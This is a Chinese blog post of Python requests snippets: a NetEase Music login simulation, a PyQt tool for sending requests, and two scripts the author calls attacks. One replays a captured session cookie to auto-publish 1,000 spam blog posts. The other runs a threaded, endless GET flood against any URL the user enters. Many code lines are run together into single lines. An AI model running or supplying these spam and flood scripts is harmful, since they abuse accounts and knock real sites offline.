Python requests模拟登录

 #!/usr/bin/env python
# encoding: UTF-8
import json
import requests # 跟urllib,urllib2类似,
import hashlib default_timeout = 10 class NetEase:
def __init__(self):
self.header = {
'Accept': '*/*',
'Accept-Encoding': 'gzip,deflate,sdch',
'Accept-Language': 'zh-CN,zh;q=0.8,gl;q=0.6,zh-TW;q=0.4',
'Connection': 'keep-alive',
'Content-Type': 'application/x-www-form-urlencoded',
'Host': 'music.163.com',
'Referer': 'http://music.163.com/search/',
'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.152 Safari/537.36'
}
self.cookies = {
'appver': '1.5.2'
} def httpRequest(self, method, action, query=None, urlencoded=None, callback=None, timeout=None):
if (method == 'GET'):
## url = action if (query == None) else (action + '?' + query)
connection = requests.get(action, headers=self.header, timeout=default_timeout, params=query) elif (method == 'POST'):
connection = requests.post(
action,
data=query,
headers=self.header,
timeout=default_timeout
) connection.encoding = "UTF-8"
connection = json.loads(connection.text)
return connection # 登录
def login(self, username, password):
action = 'http://music.163.com/api/login/'
data = {
'username': username,
'password': hashlib.md5(password).hexdigest(),
'rememberLogin': 'true'
}
try:
return self.httpRequest('POST', action, data)
except Exception, e:
return {'code': 501} Login = NetEase()
data = Login.login('User','UserPassWord')
if data['code']==200:
print('登录成功, UserId:'+str(data['account']['id']))
else:
print('登录错误,错误Code:'+str(data['code']))

结果:

登录成功, UserId:18772773

登录错误,错误Code:502


Pyqt 模拟提交Post Get 数据

代码:

 #!/usr/bin/python
# -*-coding:utf-8-*-
from PyQt4.QtGui import *
from PyQt4.QtCore import *
import requests, sys reload(sys)
sys.setdefaultencoding("utf-8") # 主入口文件
class MainWidget(QDialog):
def __init__(self, parent=None):
super(MainWidget, self).__init__(parent)
self.setMinimumSize(100, 100)
self.setWindowFlags(Qt.CustomizeWindowHint | Qt.WindowCloseButtonHint)
self.setWindowOpacity(0.7) # URL
self.urllabel = QLabel(u'提交URL:')
self.url = QLineEdit(u'')
self.methodtype = QComboBox()
self.methodtype.addItem('POST')
self.methodtype.addItem('GET')
self.UrlLoayout = QHBoxLayout()
self.UrlLoayout.addWidget(self.urllabel)
self.UrlLoayout.addWidget(self.url)
self.UrlLoayout.addSpacing(20) # 添加一个20px的空间距离 且不带弹性
self.UrlLoayout.addWidget(self.methodtype) # 添加头部group
self.headDict = {}
self.headPostArrayKey = 0
self.HeadGroupBox = QGroupBox(u'头部数据')
self.HeadGroupBox.setMinimumHeight(200) # 高度最小值 self.HeadAddParam = QPushButton(u'+')
self.headDict[str(self.headPostArrayKey) + '_key'] = QLineEdit()
self.headDict[str(self.headPostArrayKey) + '_value'] = QLineEdit()
self.HeadGroupBoxLayout = QGridLayout()
self.HeadGroupBoxLayout.addWidget(self.HeadAddParam, 0, 0)
self.HeadGroupBoxLayout.addWidget(QLabel(u'Key:'), 1, 0)
self.HeadGroupBoxLayout.addWidget(self.headDict[str(self.headPostArrayKey) + '_key'], 1, 1)
self.HeadGroupBoxLayout.addWidget(QLabel(u'Value:'), 1, 2)
self.HeadGroupBoxLayout.addWidget(self.headDict[str(self.headPostArrayKey) + '_value'], 1, 3)
self.HeadGroupBox.setLayout(self.HeadGroupBoxLayout)
self.HeadAddParam.clicked.connect(self.addHeadParam) # 添加Body group
self.bodyDict = {}
self.bodyPostArrayKey = 0
self.BodyGroupBox = QGroupBox(u'正文数据')
self.BodyGroupBox.setMinimumHeight(200)
self.BodyAddParam = QPushButton(u'+')
self.bodyDict[str(self.bodyPostArrayKey) + '_key'] = QLineEdit(u'')
self.bodyDict[str(self.bodyPostArrayKey) + '_value'] = QLineEdit(u'')
self.BodyGroupBoxLayout = QGridLayout()
self.BodyGroupBoxLayout.addWidget(self.BodyAddParam, 0, 0)
self.BodyGroupBoxLayout.addWidget(QLabel(u'Key:'), 1, 0)
self.BodyGroupBoxLayout.addWidget(self.bodyDict[str(self.bodyPostArrayKey) + '_key'], 1, 1)
self.BodyGroupBoxLayout.addWidget(QLabel(u'Value:'), 1, 2)
self.BodyGroupBoxLayout.addWidget(self.bodyDict[str(self.bodyPostArrayKey) + '_value'], 1, 3)
self.BodyGroupBox.setLayout(self.BodyGroupBoxLayout)
self.BodyAddParam.clicked.connect(self.addBodyParam) # 提交按钮
self.btnPost = QPushButton(u'提交')
self.postbtnLoayout = QHBoxLayout()
self.postbtnLoayout.addStretch()
self.postbtnLoayout.addWidget(self.btnPost) # Main布局
main_layout = QVBoxLayout()
main_layout.addLayout(self.UrlLoayout)
main_layout.addWidget(self.HeadGroupBox)
main_layout.addWidget(self.BodyGroupBox) # addWidget 添加的是Qobject
main_layout.addLayout(self.postbtnLoayout) # addLayout 添加的是 Layout main_layout.setSpacing(0)
self.setLayout(main_layout)
self.connect(self.btnPost, SIGNAL('clicked()'), self.postData) # 发送数据
def postData(self):
self.headdictdata = {}
self.bodydictdata = {}
LOOPpar1 = {'': self.headDict.items(), 2: self.bodyDict.items()}
LOOPpar2 = {'': self.headdictdata, 2: self.bodydictdata}
for Looptype in LOOPpar1:
for k, v in LOOPpar1[Looptype]:
temp = k.split('_')
if temp[1] == 'key':
if LOOPpar2[Looptype].has_key(temp[0]):
LOOPpar2[Looptype][temp[0]]['key'] = str(v.text())
else:
LOOPpar2[Looptype][temp[0]] = {'key': str(v.text())} elif temp[1] == 'value':
if LOOPpar2[Looptype].has_key(temp[0]):
LOOPpar2[Looptype][temp[0]]['value'] = str(v.text())
else:
LOOPpar2[Looptype][temp[0]] = {'value': str(v.text())} url = self.url.text()
method = self.methodtype.currentText()
if not url:
QMessageBox.warning(self, u'notice', 'URL must fill in', QMessageBox.Yes)
self.url.cursor()
return False
self.Theading = TheadingPost({'url': str(url), 'method': str(method), 'headdictdata': self.headdictdata,
'bodydictdata': self.bodydictdata})
self.connect(self.Theading, SIGNAL("updateresult"), self.updateResult) # 创建一个信号,在线程状态结果时发射触发
self.Theading.start() # 线程开始 def updateResult(self, resdata):
if resdata['status'] == 1:
QMessageBox.about(self, u"返回数据", str(resdata['msg']))
else:
QMessageBox.warning(self, u'错误提示!', str(resdata['msg']), QMessageBox.Yes) # 添加头部Data
def addHeadParam(self):
sts = str(self.headPostArrayKey + 1)
self.headDict[sts + '_key'] = QLineEdit()
self.headDict[sts + '_value'] = QLineEdit()
self.HeadGroupBoxLayout.addWidget(QLabel(u'Key:'))
self.HeadGroupBoxLayout.addWidget(self.headDict[sts + '_key'])
self.HeadGroupBoxLayout.addWidget(QLabel(u'Value:'))
self.HeadGroupBoxLayout.addWidget(self.headDict[sts + '_value'])
self.headPostArrayKey += 1 # 添加Body Data
def addBodyParam(self):
sts = str(self.bodyPostArrayKey + 1)
self.bodyDict[sts + '_key'] = QLineEdit()
self.bodyDict[sts + '_value'] = QLineEdit() self.BodyGroupBoxLayout.addWidget(QLabel(u'Key:'))
self.BodyGroupBoxLayout.addWidget(self.bodyDict[sts + '_key'])
self.BodyGroupBoxLayout.addWidget(QLabel(u'Value:'))
self.BodyGroupBoxLayout.addWidget(self.bodyDict[sts + '_value'])
self.bodyPostArrayKey += 1 # 线程提交类
class TheadingPost(QThread):
def __init__(self, dict):
super(TheadingPost, self).__init__()
self.dict = dict def run(self):
self.action = self.dict['url']
self.headerdict = self.dict['headdictdata'].values()
self.datadict = self.dict['bodydictdata'].values()
self.header = {}
for hv in self.headerdict:
self.header[hv['key']] = hv['value']
self.data = {}
for dv in self.datadict:
self.data[dv['key']] = dv['value']
self.method = self.dict['method']
result = {}
result['status'] = 0
try:
returndata = self.httpRequest(self.method, self.action, self.data)
result['status'] = 1
result['msg'] = returndata
except Exception, e:
result['status'] = 2
result['msg'] = e self.emit(SIGNAL("updateresult"), result) def httpRequest(self, method, action, query=None):
default_timeout = 10
if (method == 'GET'):
print('sd')
# url = action if (query == None) else (action + '?' + query)
connection = requests.get(action, headers=self.header, timeout=default_timeout, params=query)
elif (method == 'POST'):
connection = requests.post(
action,
data=query,
headers=self.header,
timeout=default_timeout
)
connection.encoding = "UTF-8"
return connection.text if __name__ == "__main__":
app = QApplication(sys.argv)
main_widget = MainWidget()
main_widget.show()
sys.exit(app.exec_())

效果:


Requests请求攻击N次方

# -*- coding: UTF8 -*-
import json, time
import requests # 跟urllib,urllib2类似,
import hashlib
'''
通过Fiddler 获取POST 请求数据以及url 模拟攻击请求 ''' default_timeout = 10
Chinese_truth='''
<p> 惟一经&nbsp; 勤有功&nbsp; 戏无益<br />戒之哉&nbsp; 宜勉力</p>
'''
class Blog:
def __init__(self):
self.header = {
'Accept': 'text/html, application/xhtml+xml, */*',
'Accept-Encoding': 'gzip, deflate',
'Accept-Language': 'zh-CN',
'Connection': 'keep-alive',
'Content-Length': '',
'Content-Type': 'application/x-www-form-urlencoded',
'Host': 'i.blog.com',
'DNT': '',
'Cookie': '_ga=GA1.2.1424877390.1410319541; __gads=ID=334e00c33dad0ab8:T=1410319451:S=ALNI_Mag0cSHb4q1GHVu3wgmh0s9Urb43w; _gat=1; .Cookie=991B7FBD8D86CEF8AD2B649374088AD5E26700DADDE9C66394CD2DD4F1B365813DCBE7E202970ABBB426A0495C082EAD152F827581DD10B8AF6A2A1D85A045B295266B39B7A56F5B7537282220081E5A96A779C8; SERVERID=cd834d867596395032ab14c190885cfa|1435568930|1435568862',
'Referer': 'i.blog.com/EditPosts.asp?opt=1',
'User-Agent': 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)',
'Pragma':'no-cache'
} def httpRequest(self, method, action, query=None, urlencoded=None, callback=None, timeout=None):
if (method == 'GET'):
url = action if (query == None) else (action + '?' + query)
connection = requests.get(url, headers=self.header, timeout=default_timeout)
elif (method == 'POST'):
connection = requests.post(
action,
data=query,
headers=self.header,
timeout=default_timeout
)
connection.encoding = "UTF-8"
connection = json.loads(connection.text)
return connection def truth(self,num):
action = 'http://i.blog.com/EditPost.asp?opt=1'
data = {
'__VIEWSTATE': '',
'__VIEWSTATEGENERATOR':'FE27D355',
'Editor$Edit$txbTitle': 'Test.'+str(num),
'Editor$Edit$EditorBody': '<p>'+Chinese_truth+'</p>',
'Editor$Edit$Advanced$txbEntryName': '',
'Editor$Edit$Advanced$txbExcerpt': '',
'Editor$Edit$Advanced$txbTag': '',
'Editor$Edit$Advanced$tbEnryPassword': '',
'Editor$Edit$lkbPost': '发布'
}
time.sleep(0.5)
try:
return self.httpRequest('POST', action, data)
except Exception, e:
return {'code': e} Classical = Blog()
for i in range(3000, 4000):
print(i)
data = Classical.truth(i)

requests 使用线程代码

# -*- coding: UTF8 -*-
import threading
import requests def attack(index, url):
cnt = 0
while True:
cnt += 1
x = requests.get(url)
print("[%d] == %d || %s\r"%(index, cnt, x.content.decode('utf-8')[0:50])) if __name__ == "__main__":
url = input("Input the URL: ")
x = int(input("Input the amount of threads: ")) pool = []
for i in range(x):
pool.append(threading.Thread(target = attack, args = (i, url))) print("Start attack....")
for i in range(x):
pool[i].start()

Python requests模拟登录的更多相关文章

  1. 【爬虫】python requests模拟登录知乎

    需求:模拟登录知乎,因为知乎首页需要登录才可以查看,所以想爬知乎上的内容首先需要登录,那么问题来了,怎么用python进行模拟登录以及会遇到哪些问题? 前期准备: 环境:ubuntu,python2. ...

  2. 用python实现模拟登录人人网

    用python实现模拟登录人人网 字数4068 阅读1762 评论19 喜欢46 我决定从头说起.懂的人可以快速略过前面理论看最后几张图. web基础知识 从OSI参考模型(从低到高:物理层,数据链路 ...

  3. 使用Python+Selenium模拟登录QQ空间

    使用Python+Selenium模拟登录QQ空间爬QQ空间之类的页面时大多需要进行登录,研究QQ登录规则的话,得分析大量Javascript的加密解密,这绝对能掉好几斤头发.而现在有了seleniu ...

  4. Python 3.3.3 使用requests模拟登录网站

    在模拟登录上,requests确实比python标准库中的相关模块更加简洁. 假设你需要去爬一组页面(targetUrls),而这些页面要登录才能进行访问.那么requests能够提供一种相当简单的语 ...

  5. 【Python】模拟登录上海西南某高校校园网 (jaccount)

    好久没写东西了,最近学习了一下模拟登录,以校园网为例,作一记录. 去年的时候写过一篇模拟登录的文章,用的是登录后的cookies,这种操作比较傻瓜,也不智能,不够自动化,本质还是手动登录. 这次我尝试 ...

  6. python爬虫模拟登录的图片验证码处理和会话维持

    目标网站:古诗文网 登录界面显示: 打开控制台工具,输入账号密码,在ALL栏目中进行抓包 数据如下: 登录请求的url和请求方式 登录所需参数 参数分析: __VIEWSTATE和__VIEWSTAT ...

  7. python实现模拟登录【转】

    原文网址:http://www.blogjava.net/hongqiang/archive/2012/08/01/384552.html 本文主要用python实现了对网站的模拟登录.通过自己构造p ...

  8. python实现模拟登录

    本文主要用python实现了对网站的模拟登录.通过自己构造post数据来用Python实现登录过程.   当你要模拟登录一个网站时,首先要搞清楚网站的登录处理细节(发了什么样的数据,给谁发等...). ...

  9. Python爬虫模拟登录带验证码网站

    问题分析: 1.爬取网站时经常会遇到需要登录的问题,这是就需要用到模拟登录的相关方法.python提供了强大的url库,想做到这个并不难.这里以登录学校教务系统为例,做一个简单的例子. 2.首先得明白 ...

随机推荐

  1. linux免交互登陆远程主机并执行命令(密钥对和Expect)

    原文章摘自:http://lizhenliang.blog.51cto.com/7876557/1607723/ Linux下实现免交互登陆一般有两种: 1. SSH无密码认证方式 客户端使用ssh- ...

  2. 关于jsp页面将表单填入数据库出现中文乱码绝对解决方案

    在所有jsp页面中添加两句话1.<%@ page language="java" contentType="text/html; charset=utf-8&quo ...

  3. MinGW安装c-c++

    1.安装环境 2.添加环境变量 3.运行终端

  4. UIDynamic(简单介绍)

    一.简单介绍 1.什么是UIDynamic UIDynamic是从iOS 7开始引入的一种新技术,隶属于UIKit框架 可以认为是一种物理引擎,能模拟和仿真现实生活中的物理现象 如:重力.弹性碰撞等现 ...

  5. PHP处理海量样本相似度聚类算法

    catalogue . TF-IDF . 基于空间向量的余弦算法 . 最长公共子序列 . 最小编辑距离算法 . similar_text . local sensitive hash 局部非敏感哈希 ...

  6. logo新

  7. 创建NetWorkDataset---FileGDB篇

    /// <summary> /// 创建NetWorkDataset /// </summary> /// <returns>INetworkDataset.< ...

  8. MRDS学习二——机械车

    准备机械车: 第一步:从Service中选择一个Generic Differential Drive (通用差速驱动:同一轴的左右轮胎可以转动不同速度的车子)放入Diagram中. 第二步:对其进行配 ...

  9. Sizzle选择器引擎介绍

    一.前言 Sizzle原来是jQuery里面的选择器引擎,后来逐渐独立出来,成为一个独立的模块,可以自由地引入到其他类库中.我曾经将其作为YUI3里面的一个module,用起来畅通无阻,没有任何障碍. ...

  10. 使用excel计算指数平滑和移动平均

      指数平滑法 原数数据如下: 点击数据——数据分析 选择指数平滑 最一次平滑 由于我们选择的区域是B1:B22,第一个单元格“钢产量”,被当做标志,所以我们应该勾选标志.当我们勾选了标志后,列中的第 ...